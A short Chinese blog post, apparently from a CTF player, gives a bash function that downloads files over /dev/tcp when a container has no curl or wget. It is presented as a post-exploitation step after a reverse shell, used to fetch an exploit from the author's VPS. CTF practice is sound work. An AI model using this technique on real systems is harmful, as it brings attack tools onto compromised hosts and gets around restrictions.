Linux 受限环境下载远程文件

做 CTF 的时候,经常反弹 shell 之后,发现 docker 里面没有 curl、wget、git 等命令,并且有时候会遇到编译问题,所以需要上传一个编译好的工具。

写一个自定义命令,因为 Linux 一切皆文件,因此可以使用/dev/tcp/与远程进行 tcp 连接,并把内容重定向到本地文件内。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function DOWNLOAD() {
url=$1
proto="http://"
host=${url/$proto/}
server=${host%%/*}
path=${host#*/}
DOC=/${path// /}
HOST=${server/:*/}
PORT=${server/*:/}
[[ -n ${PORT} ]] || PORT=80
PORT=$(( PORT + 0 ))
exec 3<>/dev/tcp/${HOST}/${PORT}
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
while IFS= read -r line ; do
[[ "${line}" == $'\r' ]] && break
done <&3
nul='\0'
while IFS= read -d '' -r x || { nul=""; [ -n "$x" ]; }; do
printf "%s${nul}" "${x}"
done <&3
exec 3>&-
}

通过 bash 的自定义函数下载了 VPS 上的 exp

image-20231119103455948